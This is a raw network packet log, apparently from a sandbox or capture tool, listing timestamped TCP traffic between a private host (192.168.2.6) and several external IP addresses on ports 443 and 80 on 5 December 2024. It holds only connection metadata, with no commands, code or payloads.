Dec 5, 2024 14:01:58.091629028 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.153012991 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.153022051 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.174567938 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.175180912 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.175192118 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.175720930 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.175725937 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.490782976 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:58.492557049 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:58.492573977 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:58.569524050 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.569550991 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.569566011 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.569792032 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.569806099 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.569856882 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.592005968 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.592205048 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.608402967 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.612277031 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.612356901 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.613665104 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.613683939 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.613694906 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.613701105 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.618573904 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.618626118 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.618705034 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.619556904 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.619573116 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.621767998 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.621778011 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.622257948 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.622263908 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.624435902 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.624972105 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.624979019 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.625605106 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.625610113 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.725198030 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.726212978 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.726233006 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.726882935 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:58.726888895 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:58.754467964 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.754494905 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.754549026 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.754561901 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.754586935 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.754605055 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.802716970 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.802746058 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.802898884 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.802912951 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.805326939 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.924484968 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.924509048 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.924601078 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.924612999 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.927689075 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.942131996 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:58.942210913 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:58.943610907 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:58.945174932 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:58.950289011 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.950309038 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.950381994 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.950393915 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.951556921 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.977330923 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.977349997 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.977431059 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.977449894 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.979852915 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.989670992 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:58.997684002 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:58.999222040 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.999238968 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.999300003 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.999306917 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.999344110 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.060904026 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.060975075 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.062218904 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.063772917 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.063791990 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.063802958 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.063808918 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.067246914 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.067296982 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.067400932 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.067548990 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.067563057 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.079577923 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.079603910 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.079618931 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.079696894 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.079708099 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.083663940 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.109786987 CET	80	49840	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:59.111047983 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:59.111288071 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.111349106 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.111357927 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.111368895 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.111413002 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.117433071 CET	80	49852	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:59.117535114 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:59.125296116 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.125315905 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.125384092 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.125395060 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.127803087 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.128257036 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:59.140068054 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.140089989 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.140177965 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.140187979 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.143551111 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.154619932 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.154644012 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.154726028 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.154735088 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.155834913 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.159941912 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.163085938 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.163211107 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.167053938 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.167072058 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.167162895 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.167174101 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.167217970 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.182667971 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.182682991 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.182791948 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.182802916 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.182813883 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.184556961 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.188852072 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.188877106 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.188889027 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.188898087 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.195349932 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.195369005 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.195441008 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.195450068 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.197297096 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.248220921 CET	80	49852	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:59.255672932 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.255698919 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.255799055 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.255814075 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.256860018 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.278345108 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.280220032 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.303837061 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.303867102 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.304048061 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.304068089 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.304182053 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.304876089 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.304896116 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.304944038 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.304955959 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.304982901 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.304999113 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.314410925 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.314428091 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.314471006 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.314479113 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.314510107 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.314529896 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.321050882 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.321515083 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.325249910 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.325270891 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.325361013 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.325367928 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.325406075 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.335140944 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.335158110 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.335248947 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.335258007 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.335309029 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.344748020 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.344764948 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.344863892 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.344871998 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.344913960 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.354986906 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.355003119 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.355089903 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.355097055 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.355138063 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.363944054 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.363962889 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.364022970 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.364033937 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.364069939 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.369533062 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.369540930 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.370054007 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.370058060 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.375269890 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.375281096 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.375686884 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.375694036 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.404006958 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.404047012 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.404110909 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.405494928 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.405510902 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.428836107 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.428865910 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.429006100 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.429017067 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.429075003 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.453332901 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.453351974 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.453423023 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.453432083 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.453485966 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.453506947 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.478600025 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.478617907 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.478733063 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.478740931 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.478796959 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.490088940 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.490108013 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.490216970 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.490231991 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.490273952 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.498912096 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.498929024 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.499020100 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.499030113 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.499066114 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.499113083 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.499139071 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.499203920 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.499212027 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.499257088 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.499257088 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.505742073 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.505759954 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.505851030 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.505860090 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.505911112 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.514192104 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.514214039 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.514264107 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.514271975 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.514714003 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.522509098 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.522526026 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.522557974 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.522564888 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.522615910 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.530447006 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.530462980 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.530522108 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.530533075 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.530571938 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.538811922 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.538862944 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.538954973 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.538965940 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.539005995 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.546098948 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.546118975 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.546190023 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.546199083 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.546241045 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.554091930 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.613749981 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.613787889 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.613821030 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.613828897 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.613868952 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.613888979 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.629623890 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.629642963 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.629697084 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.629710913 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.629745960 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.629745960 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.644192934 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.644217014 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.644272089 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.644283056 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.644335032 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.644335032 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.657224894 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.657242060 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.657321930 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.657332897 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.657385111 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.671950102 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.671967983 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.672029018 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.672039032 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.672079086 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.672079086 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.681886911 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.681895971 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.681967020 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.681978941 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.682022095 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.685471058 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.685487986 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.685564041 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.685573101 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.685620070 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.690079927 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.690097094 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.690148115 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.690155983 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.690195084 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.698833942 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.698848963 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.698898077 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.698905945 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.698942900 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.705418110 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.705439091 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.705471992 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.705478907 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.705508947 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.705522060 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.713761091 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.713783026 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.713828087 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.713835001 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.713865995 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.713895082 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.719954014 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.721990108 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.722007036 CET	443	49843	150.171.28.10	192.168.2.6
